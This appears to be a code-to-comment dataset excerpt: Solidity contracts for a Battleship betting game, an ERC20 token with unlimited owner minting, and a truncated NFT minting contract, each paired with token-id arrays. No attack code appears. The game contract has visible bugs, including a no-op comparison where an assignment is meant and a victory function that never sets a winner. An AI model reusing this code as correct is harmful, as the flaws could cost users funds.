Registry address internal gameReg;// Game Registry string internal topic; // Whisper Channel Topic uint internal timeoutInterval; bool internal fairGame; /// @dev Initializing variables here and in the Initialize function. constructor() public { owner = msg.sender; setupStates(); player1 = address(0); player2 = address(0); winner = address(0); ethrReg = address(0); gameReg = address(0); playerTurn = address(0); betAmt = 0; timeout = 2**256 - 1; timeoutInterval = 1 days; fairGame = false; } // EVENTS event ValidSigner(address player, address signer, bool result); event JoinedGame(address player, string message); event StateMove(address player, uint shot); event StateChanged(string newState); event RevealedBoard(address player, uint blockNum); event GameEnded(address winner); event TimeoutStarted(uint timestamp); event TimeoutReseted(uint timestamp); event BetClaimed(address player, uint amount, uint timestamp); // MODIFIERS modifier ifPlayer() { require(player1 != address(0) && player2 != address(0),", players not set."); require(msg.sender == player1 || msg.sender == player2, ", not a valid player."); _; } modifier ifOwner() { if(msg.sender == owner) { _; } else { revert(", not game contract owner."); } } /* EXTERNAL FUNCTIONS */ /// @dev Get the final revealed board. /// @param _player The address of the selected player. /// @return Board array. function getPlayerShips(address _player) external view returns(uint[]){ uint[] storage board = playerShips[_player]; return board; } /// @dev Get topic for whisper channel if joined as player. /// @return String topic. function getTopic() external view ifPlayer returns(string){ return topic; } /// @dev Initialize registries addresses. /// @param _ethrReg The address of the Ethr DID registry. /// @param _gameReg The address of the Game registry. function initialize(address _ethrReg, address _gameReg) external isInitializer ifOwner{ require(gameReg == address(0) && ethrReg == address(0), ", registry already set."); ethrReg = _ethrReg; gameReg = _gameReg; } /// @dev Claim bet if the player is the winner. By expired timeout or moves. function claimBet() external checkAllowed ifPlayer { if(block.timestamp >= timeout && msg.sender == opponent(playerTurn)){ winner = opponent(playerTurn); require(gameReg.call(REGISTRY_WINNER_FSIG, abi.encode(winner))); } if(msg.sender == winner) { winner.transfer(address(this).balance); emit BetClaimed(msg.sender, address(this).balance, block.timestamp); } else { revert("... You are a loser :( "); } } /* PUBLIC FUNCTIONS */ /// @dev Fallback function function () public { revert(); } /// @dev Join the game and set the bet. Player 1 is set by factory contract. /// @dev Player 2 can join later or be set at creation time. /// @param _playerA Player 1 address. /// @param _playerB Player 2 address. /// @param _topic Whisper-channel topic. function joinGame(address _playerA, address _playerB, string _topic) public payable checkAllowed { require(gameReg != address(0), ", game registry not set."); require(_playerA != owner && _playerB != owner, ", factory contract cannot play."); require(msg.value >= betAmt,", invalid bet amount."); // The Factory is the contract owner and cannot register as player. if( _playerA != address(0) && player1 == address(0) && msg.sender == owner){ player1 = _playerA; topic = _topic; betAmt = msg.value; // Set the contract address as game owner. require(gameReg.call(REGISTRY_GAME_OWNER_FSIG)); // Set player1 in registry. require(gameReg.call(REGISTRY_PLAYERS_FSIG, abi.encode(player1,msg.value,1))); emit JoinedGame(player1, "Player1"); } // Validate if _playerB parameter is set. if( _playerB != address(0) && player2 == address(0) && _playerB != player1){ player2 = _playerB; require(gameReg.call(REGISTRY_PLAYERS_FSIG, abi.encode(player2,msg.value,2))); } hiddenShips[msg.sender] = bytes32(0); playerSigner[msg.sender] = address(0); // Join as player 2 if not set in parameter, place the correct bet. if(player2 == address(0) && msg.sender != player1 && msg.sender != owner){ require(msg.value == betAmt, ", player2 incorrect bet amount."); player2 = msg.sender; } // Player 2 was passed as parameter without bet. if(msg.sender == player2){ require(msg.value == betAmt, ", player2 incorrect bet amount."); playerTurn = player2; require(gameReg.call(REGISTRY_PLAYERS_FSIG, abi.encode(player2,msg.value,2))); emit JoinedGame(msg.sender, "Player2"); } // If not a VIP identity, get out. if( !(msg.sender == owner || msg.sender == player1 || msg.sender == player2)){ revert(", not a VIP identity."); } } /// @dev Set the hash of your board. /// @param _shipsHash The player's grid hash. /// @param _sig Message signature to get signer. function setHiddenShips(bytes32 _shipsHash, bytes _sig) public checkAllowed ifPlayer { require(_shipsHash != bytes32(0) && _sig.length == 65); require(hiddenShips[msg.sender] == bytes32(0) || playerSigner[msg.sender] == address(0)); //Get signer delegate from board signature. _shipsHash is keccak256(board[], secret, gameAddress) address signer = ECRecovery.recover(_shipsHash.toEthSignedMessageHash(),_sig); //Validate signer delegate from Ethr registry. Secp256k1VerificationKey2018 -> "veriKey" bool result = isValidDelegate(msg.sender, "veriKey", signer, ethrReg); require(result == true, ", not a valid ethr signer delegate."); emit ValidSigner(msg.sender, signer, result); hiddenShips[msg.sender] = _shipsHash; playerSigner[msg.sender] = signer; } /// @dev Used to start timeout or recreate game history for last dispute resolution. State moves need to be ordered by nonce. /// @param _xy player's move. /// @param _nonce sequence of game moves. /// @param _sig player's signature. /// @param _replySig opponent's signature on agreed player's move. function stateMove(uint _xy, uint _nonce, address _nextTurn, bytes _sig, bytes _replySig) public checkAllowed ifPlayer { require(_sig.length == 65 && _replySig.length == 65,", incorrect signature size"); require(_xy >= 0 && _xy <= 99,", out of range shot."); require(_nonce == nonce, ", incorrect nonce number."); require(_nonce >= 0 && _nonce <= 200, ", out of range nonce."); address player; bytes32 hash = keccak256(abi.encodePacked(_xy, _nonce, address(this))); address signer = ECRecovery.recover(hash.toEthSignedMessageHash(), _sig); if(signer == playerSigner[player1]){ player = player1; }else if(signer == playerSigner[player2]){ player = player2; }else { revert(", invalid signer."); } bytes32 replyHash = keccak256(abi.encodePacked(hash, _nonce, _nextTurn, address(this))); address replySigner = ECRecovery.recover(replyHash.toEthSignedMessageHash(), _replySig); require(replySigner == playerSigner[opponent(player)], ", invalid replySigner."); nonce = _nonce + 1; playerTurn = _nextTurn; if(msg.sender == opponent(playerTurn)){ startTimeout(); }else{ resetTimeout(); } playerMoves[player].push(_xy); emit StateMove(player, _xy); } /// @dev Reveal my board. /// @param _ships The player's board. /// @param _secret Player's secret. function revealMyBoard(uint[] _ships, uint[] _hits, uint[] _notHits, bytes4 _secret) public checkAllowed ifPlayer { require(_ships.length == 20,", incorrect ships input lenght."); require(_hits.length > 0 && _hits.length <= 20 && _notHits.length > 0 && _notHits.length <= 80,", incorrect revealed board size."); require(_secret != bytes4(0), ", incorrect secret type."); require(hiddenShips[msg.sender] != bytes32(0) && playerSigner[msg.sender] != address(0)); require(hiddenShips[opponent(msg.sender)] != bytes32(0) && playerSigner[opponent(msg.sender)] != address(0)); //Hash inputs to recreate hidden board. bytes32 hash = keccak256(abi.encodePacked(_ships, _secret, address(this))); require(hash == hiddenShips[msg.sender], ", invalid revealed board."); secret[msg.sender] == _secret; uint i; for(i = 0; i < 20; i++){ playerShips[msg.sender].push(_ships[i]); } // _hits length > 0 and <= 20 for(i = 0; i < _hits.length; i++){ hitsToPlayer[msg.sender].push(_hits[i]); } // _notHits length > 0 and <= 80 for(i = 0; i < _notHits.length; i++){ notHitsToPlayer[msg.sender].push(_notHits[i]); } emit RevealedBoard(msg.sender, block.timestamp); } /// @dev Reveal played board. function revealOtherBoard(uint[] _hits, uint[] _notHits) public checkAllowed ifPlayer { require(_hits.length > 0 && _hits.length <= 20 && _notHits.length > 0 && _notHits.length <= 80,", incorrect revealed board size."); require(hiddenShips[msg.sender] != bytes32(0) && playerSigner[msg.sender] != address(0)); require(hiddenShips[opponent(msg.sender)] != bytes32(0) && playerSigner[opponent(msg.sender)] != address(0)); address playerAddrHash = Bytes.toAddress(keccak256(abi.encodePacked(msg.sender))); uint i; // _hits length > 0 and <= 20 for(i = 0; i < _hits.length; i++){ hitsToPlayer[playerAddrHash].push(_hits[i]); } // _notHits length > 0 and <= 80 for(i = 0; i < _notHits.length; i++){ notHitsToPlayer[playerAddrHash].push(_notHits[i]); } emit RevealedBoard(playerAddrHash, block.timestamp); } /// @dev Claim victory. Boards need to be revealed and match. Use stateMove in case of cheaters. function claimVictory() public checkAllowed ifPlayer { uint[] storage Board1 = playerShips[msg.sender]; uint[] storage Board2 = playerShips[opponent(msg.sender)]; require(Board1.length == 20 && Board2.length == 20,", invalid revealed board size."); uint requiredToWin = 20; address player; address playerOpponentHash; playerOpponentHash = Bytes.toAddress(keccak256(abi.encodePacked(opponent(player1)))); bytes32 hash1 = keccak256(abi.encodePacked(hitsToPlayer[player1])); bytes32 hash2 = keccak256(abi.encodePacked(hitsToPlayer[playerOpponentHash])); bytes32 hash3 = keccak256(abi.encodePacked(notHitsToPlayer[player1])); bytes32 hash4 = keccak256(abi.encodePacked(notHitsToPlayer[playerOpponentHash])); playerOpponentHash = Bytes.toAddress(keccak256(abi.encodePacked(opponent(player2)))); bytes32 hash5 = keccak256(abi.encodePacked(hitsToPlayer[player2])); bytes32 hash6 = keccak256(abi.encodePacked(hitsToPlayer[playerOpponentHash])); bytes32 hash7 = keccak256(abi.encodePacked(notHitsToPlayer[player2])); bytes32 hash8 = keccak256(abi.encodePacked(notHitsToPlayer[playerOpponentHash])); if((hash1 == hash2) && (hash3 == hash4) && (hash5 == hash6) && (hash7 == hash8)){ fairGame = true; } else{ fairGame = false; } //hitsToPlayer[opponent(msg.sender)].lenght == requiredToWin; //winner = msg.sender; //require(gameReg.call(bytes4(keccak256("setWinner(address)")), abi.encode(winner))); } /* INTERNAL FUNCTIONS */ /// @dev Start timeout in case of game halt. function startTimeout() internal ifPlayer { timeout = block.timestamp + timeoutInterval; emit TimeoutStarted(block.timestamp); } /// @dev Set timeout to initial state. function resetTimeout() internal ifPlayer { timeout = 2**256 - 1; emit TimeoutReseted(block.timestamp); } /// @dev Allow functions in the given state. function setupStates() internal { setStates(states); allowFunction(STATE1, this.joinGame.selector); //"Create" allowFunction(STATE2, this.setHiddenShips.selector); //"Set" allowFunction(STATE3, this.stateMove.selector); //"Play" allowFunction(STATE3, this.revealMyBoard.selector); //"Play" allowFunction(STATE4, this.stateMove.selector); //"GameOver" allowFunction(STATE4, this.revealMyBoard.selector); //"GameOver" allowFunction(STATE4, this.revealOtherBoard.selector);//"GameOver" allowFunction(STATE4, this.claimVictory.selector); //"GameOver" allowFunction(STATE4, this.claimBet.selector); //"GameOver" addStartCondition(STATE2, verifyPlayers); //"Set" addStartCondition(STATE3, verifyBoard); //"Play" addStartCondition(STATE4, verifyRevealedBoards); //"GameOver" addStartCondition(STATE4, verifyWinner); //"GameOver" addStartCondition(STATE4, verifyTimeout); //"GameOver" } /// @dev Verify player conditions to transition to next state. /// @return If conditions met returns true. function verifyPlayers(bytes32) internal returns(bool){ if(playerTurn == player2 && player1 != address(0) && player2 != address(0)){ emit StateChanged("Set"); return true; } else { return false; } } /// @dev Verify boards ready conditions to transition to next state. /// @return If conditions met returns true. function verifyBoard(bytes32) internal returns(bool){ if( hiddenShips[player1] != bytes32(0) && hiddenShips[player2] != bytes32(0) && playerSigner[player1] != address(0) && playerSigner[player2] != address(0) ){ emit StateChanged("Play"); return true; }else{ return false; } } /// @dev Verify revealed boards conditions to transition to next state. /// @return If conditions met returns true. function verifyRevealedBoards(bytes32) internal returns(bool){ if(playerShips[player1].length > 0 || playerShips[player2].length > 0){ emit StateChanged("GameOver"); return true; }else { return false; } } /// @dev Verify winner player conditions to transition to next state. /// @return If conditions met returns true. function verifyWinner(bytes32) internal returns(bool){ if(winner != address(0)){ emit StateChanged("GameOver"); emit GameEnded(winner); return true; }else { return false; } } /// @dev Verify timeout to finalize game. /// @return If conditions met returns true. function verifyTimeout(bytes32) internal returns(bool){ if(block.timestamp >= timeout){ emit StateChanged("GameOver"); return true; }else { return false; } } /// @dev Get the opponent player. /// @param _player The address of the selected player to find out who the opponent is. /// @return Address of the opponent player. function opponent(address _player) internal view returns (address) { require(player2 != address(0), ", game has not started."); if (_player == player1) { return player2; } else if (_player == player2) { return player1; } else { revert(", invalid opponent player."); } } /// @dev Verifies if the signer delegate is valid in the Ethr DID registry. /// @param _identity The address owner. /// @param _delegateType Type of delegate. Signer -> Secp256k1VerificationKey2018 -> bytes32("veriKey"). /// @param _delegate The address of the signer delegate. /// @param _registry The address of the Ethr DID registry. function isValidDelegate( address _identity, string _delegateType, address _delegate, address _registry ) internal ifPlayer view returns(bool result){ require(ethrReg != address(0), ", ethr registry not set."); require(_identity != address(0) && bytes(_delegateType).length > 0 && _delegate != address(0),", invalid delegate input."); bytes memory data = abi.encodeWithSignature("validDelegate(address,bytes32,address)", _identity, Bytes.stringToBytes32(_delegateType), _delegate); /* solium-disable-next-line security/no-inline-assembly */ assembly { let ptr := mload(0x40) let success := staticcall(sub(gas, 3800), _registry, add(data, 0x20), mload(data), ptr, 0x20) if eq(success, 0) { revert(0, 0) } result := mload(ptr) } } }
@dev Reveal played board. _hits length > 0 and <= 20 _notHits length > 0 and <= 80
function revealOtherBoard(uint[] _hits, uint[] _notHits) public checkAllowed ifPlayer { require(_hits.length > 0 && _hits.length <= 20 && _notHits.length > 0 && _notHits.length <= 80,", incorrect revealed board size."); require(hiddenShips[msg.sender] != bytes32(0) && playerSigner[msg.sender] != address(0)); require(hiddenShips[opponent(msg.sender)] != bytes32(0) && playerSigner[opponent(msg.sender)] != address(0)); address playerAddrHash = Bytes.toAddress(keccak256(abi.encodePacked(msg.sender))); uint i; for(i = 0; i < _hits.length; i++){ hitsToPlayer[playerAddrHash].push(_hits[i]); } for(i = 0; i < _notHits.length; i++){ notHitsToPlayer[playerAddrHash].push(_notHits[i]); } emit RevealedBoard(playerAddrHash, block.timestamp); }
1,824,995
[ 1, 426, 24293, 6599, 329, 11094, 18, 389, 15173, 769, 405, 374, 471, 1648, 4200, 389, 902, 20950, 769, 405, 374, 471, 1648, 8958, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 283, 24293, 8290, 22233, 12, 11890, 8526, 389, 15173, 16, 2254, 8526, 389, 902, 20950, 13, 1071, 866, 5042, 309, 12148, 288, 203, 3639, 2583, 24899, 15173, 18, 2469, 405, 374, 597, 389, 15173, 18, 2469, 1648, 4200, 597, 389, 902, 20950, 18, 2469, 405, 374, 597, 389, 902, 20950, 18, 2469, 1648, 8958, 16, 3113, 11332, 283, 537, 18931, 11094, 963, 1199, 1769, 203, 3639, 2583, 12, 6345, 1555, 7146, 63, 3576, 18, 15330, 65, 480, 1731, 1578, 12, 20, 13, 597, 7291, 15647, 63, 3576, 18, 15330, 65, 480, 1758, 12, 20, 10019, 203, 3639, 2583, 12, 6345, 1555, 7146, 63, 556, 1029, 12, 3576, 18, 15330, 25887, 480, 1731, 1578, 12, 20, 13, 597, 7291, 15647, 63, 556, 1029, 12, 3576, 18, 15330, 25887, 480, 1758, 12, 20, 10019, 203, 203, 3639, 1758, 7291, 3178, 2310, 273, 5985, 18, 869, 1887, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 3576, 18, 15330, 3719, 1769, 203, 3639, 2254, 277, 31, 203, 3639, 364, 12, 77, 273, 374, 31, 277, 411, 389, 15173, 18, 2469, 31, 277, 27245, 95, 203, 5411, 11076, 774, 12148, 63, 14872, 3178, 2310, 8009, 6206, 24899, 15173, 63, 77, 19226, 203, 3639, 289, 203, 3639, 364, 12, 77, 273, 374, 31, 277, 411, 389, 902, 20950, 18, 2469, 31, 277, 27245, 95, 203, 5411, 486, 20950, 774, 12148, 63, 14872, 3178, 2310, 8009, 6206, 24899, 902, 20950, 63, 77, 19226, 203, 3639, 289, 203, 203, 3639, 3626, 868, 537, 18931, 22233, 12, 2 ]
/* file: Trullion.sol ver: 0.0.1_deploy author: Trivillon date: 24-Nov-2018 email: [email protected] Licence ------- (c) 2018 Everus-Trullion Release Notes ------------- * Trullion Based in Kualalumpur, Malaysia , we're blessed with strong rule of law, and great beaches. Welcome to Trullion. * This contract is TRU, GOLD as an ERC20 token. * see https://Everus.org/ for further information */ pragma solidity ^0.4.17; contract TRUConfig { // ERC20 token name string public constant name = "Trullion-e"; // ERC20 trading symbol string public constant symbol = "Tru-e"; // Contract owner at time of deployment. address public constant OWNER = 0x262f01741f2b6e6fda97bce85a6756a89c099e43; // Contract 2nd admin address public constant ADMIN_TOO = 0x262f01741f2b6e6fda97bce85a6756a89c099e43; // Opening Supply uint public constant TOTAL_TOKENS = 0 ; // ERC20 decimal places uint8 public constant decimals = 8; } library SafeMath { // a add to b function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } // a subtract b function sub(uint a, uint b) internal pure returns (uint c) { c = a - b; assert(c <= a); } // a multiplied by b function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } // a divided by b function div(uint a, uint b) internal pure returns (uint c) { assert(b != 0); c = a / b; } } contract ReentryProtected { // The reentry protection state mutex. bool __reMutex; // Sets and clears mutex in order to block function reentry modifier preventReentry() { require(!__reMutex); __reMutex = true; _; delete __reMutex; } // Blocks function entry if mutex is set modifier noReentry() { require(!__reMutex); _; } } contract ERC20Token { using SafeMath for uint; /* Constants */ // none /* State variable */ /// @return The Total supply of tokens uint public totalSupply; /// @return Tokens owned by an address mapping (address => uint) balances; /// @return Tokens spendable by a thridparty mapping (address => mapping (address => uint)) allowed; /* Events */ // Triggered when tokens are transferred. event Transfer( address indexed _from, address indexed _to, uint256 _amount); // Triggered whenever approve(address _spender, uint256 _amount) is called. event Approval( address indexed _owner, address indexed _spender, uint256 _amount); /* Modifiers */ // none /* Functions */ // Using an explicit getter allows for function overloading function balanceOf(address _addr) public view returns (uint) { return balances[_addr]; } // Quick checker on total supply function currentSupply() public view returns (uint) { return totalSupply; } // Using an explicit getter allows for function overloading function allowance(address _owner, address _spender) public returns (uint) { return allowed[_owner][_spender]; } // Send _value amount of tokens to address _to function transfer(address _to, uint256 _amount) public returns (bool) { return xfer(msg.sender, _to, _amount); } // Send _value amount of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { require(_amount <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); return xfer(_from, _to, _amount); } // Process a transfer internally. function xfer(address _from, address _to, uint _amount) internal returns (bool) { require(_amount <= balances[_from]); emit Transfer(_from, _to, _amount); // avoid wasting gas on 0 token transfers if(_amount == 0) return true; balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); return true; } // Approves a third-party spender function approve(address _spender, uint256 _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } } contract TRUAbstract { /// @dev Logged when new owner accepts ownership /// @param _from the old owner address /// @param _to the new owner address event ChangedOwner(address indexed _from, address indexed _to); /// @dev Logged when owner initiates a change of ownership /// @param _to the new owner address event ChangeOwnerTo(address indexed _to); /// @dev Logged when new adminToo accepts the role /// @param _from the old owner address /// @param _to the new owner address event ChangedAdminToo(address indexed _from, address indexed _to); /// @dev Logged when owner initiates a change of ownership /// @param _to the new owner address event ChangeAdminToo(address indexed _to); // State Variables // /// @dev An address permissioned to enact owner restricted functions /// @return owner address public owner; /// @dev An address permissioned to take ownership of the contract /// @return new owner address address public newOwner; /// @dev An address used in the withdrawal process /// @return adminToo address public adminToo; /// @dev An address permissioned to become the withdrawal process address /// @return new admin address address public newAdminToo; // // Modifiers // modifier onlyOwner() { require(msg.sender == owner); _; } // // Function Abstracts // /// @notice Make bulk transfer of tokens to many addresses (Automic drop) /// @param _addrs An array of recipient addresses /// @param _amounts An array of amounts to transfer to respective addresses /// @return Boolean success value function transferToMany(address[] _addrs, uint[] _amounts) public returns (bool); /// @notice Salvage `_amount` tokens at `_kaddr` and send them to `_to` /// @param _kAddr An ERC20 contract address /// @param _to and address to send tokens /// @param _amount The number of tokens to transfer /// @return Boolean success value function transferExternalToken(address _kAddr, address _to, uint _amount) public returns (bool); } /*-----------------------------------------------------------------------------\ BTCR implementation \*----------------------------------------------------------------------------*/ contract TRU is ReentryProtected, ERC20Token, TRUAbstract, TRUConfig { using SafeMath for uint; // // Constants // // Token fixed point for decimal places uint constant TOKEN = uint(10)**decimals; // // Functions // constructor() public { owner = OWNER; adminToo = ADMIN_TOO; totalSupply = TOTAL_TOKENS.mul(TOKEN); balances[owner] = totalSupply; } // Default function. function () public payable { // nothing to see here, folks.... } // // Manage supply // event DecreaseSupply(address indexed burner, uint256 value); event IncreaseSupply(address indexed burner, uint256 value); /** * @dev lowers the supply by a specified amount of tokens. * @param _value The amount of tokens to lower the supply by. */ function decreaseSupply(uint256 _value) public onlyOwner { require(_value > 0); address burner = adminToo; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit DecreaseSupply(msg.sender, _value); } function increaseSupply(uint256 _value) public onlyOwner { require(_value > 0); totalSupply = totalSupply.add(_value); balances[owner] = balances[owner].add(_value); emit IncreaseSupply(msg.sender, _value); } // // ERC20 additional functions // // Allows a sender to transfer tokens to an array of recipients function transferToMany(address[] _addrs, uint[] _amounts) public noReentry returns (bool) { require(_addrs.length == _amounts.length); uint len = _addrs.length; for(uint i = 0; i < len; i++) { xfer(msg.sender, _addrs[i], _amounts[i]); } return true; } // Overload placeholder - could apply further logic function xfer(address _from, address _to, uint _amount) internal noReentry returns (bool) { super.xfer(_from, _to, _amount); return true; } // // Contract management functions // // Initiate a change of owner to `_owner` function changeOwner(address _owner) public onlyOwner returns (bool) { emit ChangeOwnerTo(_owner); newOwner = _owner; return true; } // Finalise change of ownership to newOwner function acceptOwnership() public returns (bool) { require(msg.sender == newOwner); emit ChangedOwner(owner, msg.sender); owner = newOwner; delete newOwner; return true; } // Initiate a change of 2nd admin to _adminToo function changeAdminToo(address _adminToo) public onlyOwner returns (bool) { emit ChangeAdminToo(_adminToo); newAdminToo = _adminToo; return true; } // Finalise change of 2nd admin to newAdminToo function acceptAdminToo() public returns (bool) { require(msg.sender == newAdminToo); emit ChangedAdminToo(adminToo, msg.sender); adminToo = newAdminToo; delete newAdminToo; return true; } // Owner can salvage ERC20 tokens that may have been sent to the account function transferExternalToken(address _kAddr, address _to, uint _amount) public onlyOwner preventReentry returns (bool) { require(ERC20Token(_kAddr).transfer(_to, _amount)); return true; } }
none Triggered when tokens are transferred. Triggered whenever approve(address _spender, uint256 _amount) is called. none Using an explicit getter allows for function overloading
{ using SafeMath for uint; uint public totalSupply; mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; event Transfer( address indexed _from, address indexed _to, uint256 _amount); event Approval( address indexed _owner, address indexed _spender, uint256 _amount); function balanceOf(address _addr) public view returns (uint) { return balances[_addr]; } function currentSupply() public view returns (uint) { return totalSupply; } function allowance(address _owner, address _spender) public returns (uint) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _amount) public returns (bool) { return xfer(msg.sender, _to, _amount); } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { require(_amount <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); return xfer(_from, _to, _amount); } function xfer(address _from, address _to, uint _amount) internal returns (bool) { require(_amount <= balances[_from]); emit Transfer(_from, _to, _amount); if(_amount == 0) return true; balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } }
1,071,536
[ 1, 6102, 11321, 329, 1347, 2430, 854, 906, 4193, 18, 11321, 329, 17334, 6617, 537, 12, 2867, 389, 87, 1302, 264, 16, 2254, 5034, 389, 8949, 13, 353, 2566, 18, 6555, 11637, 392, 5515, 7060, 5360, 364, 445, 1879, 15174, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 95, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 203, 203, 203, 565, 2254, 1071, 2078, 3088, 1283, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 13, 324, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 871, 12279, 12, 203, 3639, 1758, 8808, 389, 2080, 16, 203, 3639, 1758, 8808, 389, 869, 16, 203, 3639, 2254, 5034, 389, 8949, 1769, 203, 203, 565, 871, 1716, 685, 1125, 12, 203, 3639, 1758, 8808, 389, 8443, 16, 203, 3639, 1758, 8808, 389, 87, 1302, 264, 16, 203, 3639, 2254, 5034, 389, 8949, 1769, 203, 203, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 389, 4793, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 13, 203, 565, 288, 203, 3639, 327, 324, 26488, 63, 67, 4793, 15533, 203, 565, 289, 203, 203, 565, 445, 783, 3088, 1283, 1435, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 13, 203, 565, 288, 203, 3639, 327, 2078, 3088, 1283, 31, 203, 565, 289, 203, 203, 203, 565, 445, 1699, 1359, 12, 2867, 389, 8443, 16, 1758, 389, 87, 1302, 264, 13, 203, 3639, 1071, 203, 3639, 1135, 261, 11890, 13, 203, 565, 288, 203, 3639, 327, 2935, 63, 67, 8443, 6362, 67, 87, 1302, 264, 15533, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 203, 3639, 1071, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 2 ]
./full_match/4/0xBC1A51FAfc70653d7556D435476dBf00f765d778/sources/docs.chain.link/BoredApeYachtClub.sol
* @title BoredApeYachtClub contract @dev Extends ERC721 Non-Fungible Token Standard basic implementation/
contract BoredApeYachtClub is ERC721Enumerable, Ownable { using SafeMath for uint256; string public BAYC_PROVENANCE = ""; uint256 public startingIndexBlock; uint256 public startingIndex; uint public constant maxApePurchase = 20; uint256 public MAX_APES; bool public saleIsActive = false; uint256 public REVEAL_TIMESTAMP; pragma solidity 0.8.4; constructor(string memory name, string memory symbol, uint256 maxNftSupply, uint256 saleStart) ERC721(name, symbol) { MAX_APES = maxNftSupply; REVEAL_TIMESTAMP = saleStart + (86400 * 9); } function withdraw() public payable onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function reserveApes() public onlyOwner { uint supply = totalSupply(); uint i; for (i = 0; i < 30; i++) { _safeMint(msg.sender, supply + i); } } function reserveApes() public onlyOwner { uint supply = totalSupply(); uint i; for (i = 0; i < 30; i++) { _safeMint(msg.sender, supply + i); } } function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner { REVEAL_TIMESTAMP = revealTimeStamp; } function setProvenanceHash(string memory provenanceHash) public onlyOwner { BAYC_PROVENANCE = provenanceHash; } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function mintApe(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Ape"); require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_APES, "Purchase would exceed max supply of Apes"); require(apePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 